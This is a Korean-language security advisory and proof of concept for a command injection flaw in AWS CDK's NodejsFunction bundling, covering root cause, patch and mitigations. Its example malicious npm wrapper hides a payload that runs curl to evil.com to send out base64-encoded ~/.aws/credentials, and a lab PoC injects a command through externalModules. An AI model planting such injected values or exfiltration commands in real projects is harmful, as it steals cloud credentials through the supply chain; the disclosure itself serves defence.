CVE-2026-11417에 대한 기술 분석 문서 및 개념 증명(PoC): AWS CDK의 NodejsFunction에서 발생하는 OS 명령 주입 / 원격 코드 실행(RCE)
작성자: Hesham Ashraf (@HeshamASH)
날짜: 2026년 6월 10일
심각도: 높음 (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화 (OS 명령 주입)
영향을 받는 패키지: aws-cdk-lib (npm), 2.245.0 이전의 모든 버전
공급업체: Amazon Web Services (AWS)
상태: 패치됨 (PR #37292, PR #37412) | CVE: CVE-2026-11417 | 게시판: AWS-2026-041 | 권고: GHSA-999r-qq7v-r334
저는 AWS Cloud Development Kit(CDK)에서 명령 주입 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 악성 npm 패키지를 게시하거나 조작된 Pull Request를 제출함으로써 cdk synth를 실행하는 모든 머신(개발자 워크스테이션 및 CI/CD 파이프라인 포함)에서 원격 코드 실행(RCE) 을 달성할 수 있었습니다.
취약점은 aws-cdk-lib의 NodejsFunction 구성이 사용자 제어 문자열을 검증 없이 셸 명령에 직접 삽입한 다음 bash -c / cmd /c를 통해 실행했기 때문에 발생했습니다. AWS는 셸 기반 실행을 직접 spawnSync 인자 배열로 대체하여 이 문제를 패치했습니다.
AWS Cloud Development Kit(CDK)는 클라우드 인프라를 코드로 정의하기 위해 널리 사용되는 오픈소스 프레임워크입니다. 수만 명의 개발자와 CI/CD 파이프라인이 AWS CloudFormation 스택을 합성하고 배포하는 데 사용합니다.
NodejsFunction 구성은 가장 인기 있는 CDK L2 구성 중 하나입니다. 합성 단계(cdk synth)에서 esbuild를 사용하여 TypeScript/JavaScript Lambda 함수를 번들링합니다.
NodejsFunction 구성의 로컬 번들링 경로는 여러 사용자 제어 속성을 어떠한 검증(sanitization)도 없이 셸 명령 문자열에 직접 삽입했습니다:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
그런 다음 배열은 단일 문자열로 결합되어 셸에 전달되었습니다:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
주입 가능한 속성 중 하나라도 &, ;, |, `, $(...) 같은 셸 메타문자가 포함되어 있으면 셸이 이를 명령 구분자로 해석하여 임의 명령 실행을 가능하게 했습니다.
| 속성 | 검증 | 위험 수준 |
|---|---|---|
externalModules | 없음 | 치명적 |
define (키) | 없음 (값은 JSON.stringify 사용) | 치명적 |
loader (키) | 없음 | 치명적 |
inject | 없음 | 치명적 |
esbuildArgs (키/값) | 없음 | 치명적 |
이 취약점은 주입이 npm install 중이 아니라 CDK 합성 계층에서 발생하기 때문에 특히 위험합니다. 즉, --ignore-scripts와 같은 표준 npm 보안 조치로는 보호할 수 없습니다.
공격자는 NodejsFunction을 래핑하는 정상적으로 보이는 npm 패키지를 게시합니다:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
개발자가 이 패키지를 설치하고 cdk synth를 실행하면 CDK는 다음을 구성합니다:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
& 문자는 이를 두 개의 독립적인 셸 명령으로 분할합니다:
npx esbuild --bundle handler.ts --external:lodash — esbuild가 정상적으로 실행됨curl https://evil.com/... — 공격자의 페이로드가 AWS 자격 증명을 외부로 유출함| 방어 수단 | 효과 있음? | 이유 |
|---|---|---|
npm install --ignore-scripts | 아니요 | 주입이 패키지 설치 중이 아니라 cdk synth 중에 발생함 |
package.json 코드 검토 | 아니요 | 페이로드가 스크립트가 아닌 TypeScript 구성 코드에 있음 |
| npm audit | 아니요 | 패키지에 알려진 취약점이 없음 |
| Lockfile 무결성 | 아니요 | 패키지 자체는 올바르게 설치됨 |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts 생성import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
pwned.txt 파일이 생성되어 호스트에서 임의 명령 실행이 확인됩니다.
spawnSync핵심 수정 사항은 셸 명령 문자열 구성을 인자 배열을 사용하는 직접 spawnSync 호출로 대체합니다:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
이로써 셸 메타문자 해석이 완전히 제거됩니다. 새로운 BundlingStep 타입 시스템은 다음을 깔끔하게 분리합니다:
spawn 단계: esbuild/tsc/install — 인자 배열을 사용한 직접 spawnSync로 실행shell 단계: 사용자 제공 commandHooks — 의도적으로 셸에서 실행됨(사용자가 계약에 따라 제어)fs 단계: 파일 작업 — 셸 관여 없음Windows에서 Node 22+를 사용하는 경우 .cmd 셰임(shim)의 직접 spawnSync는 EINVAL로 실패합니다. 이 PR은 spawn 단계를 powershellEscape()와 함께 powershell.exe를 통해 라우팅합니다. 이 함수는 PowerShell의 기본 이스케이프(내부 작은따옴표를 두 배로)를 사용하여 각 인자를 엄격하게 작은따옴표로 묶은 다음 & 호출 연산자를 앞에 추가합니다.
셸 실행은 코드 스멜(code smell)입니다. 문자열을 구성하여 bash -c 또는 cmd /c에 전달하는 모든 코드 경로는 잠재적인 명령 주입 취약점입니다. 항상 배열 기반 spawnSync 또는 execFile을 선호하세요.
공급망 공격은 설치 시점 방어를 우회합니다. npm audit과 --ignore-scripts는 악성 postinstall 스크립트로부터 보호하지만, 빌드 시 의존성을 처리하는 도구의 취약점으로부터는 보호할 수 없습니다.
CDK 구성은 신뢰된 코드입니다. 개발자가 타사 CDK 구성을 가져올 때 인프라를 올바르게 구성할 것이라고 암묵적으로 신뢰합니다. 악성 구성은 이러한 신뢰를 활용하여 평범한 구성처럼 보이는 번들링 속성에 페이로드를 주입할 수 있습니다.
즉시 aws-cdk-lib 버전 2.245.0 이상으로 업데이트하세요
특이한 bundling 속성 값이 있는지 타사 CDK 구성을 감사하세요
package-lock.json에서 CDK 구성 버전을 고정하세요
bundling 구성을 수정하는 PR을 특별히 주의 깊게 검토하세요
poc/ 폴더에 제공된 파일을 사용하여 취약점을 재현하세요.
Hesham Ashraf(@HeshamASH)가 발견하고 보고했습니다. AWS VDP 프로그램을 통해 조정된 공개가 수행되었습니다.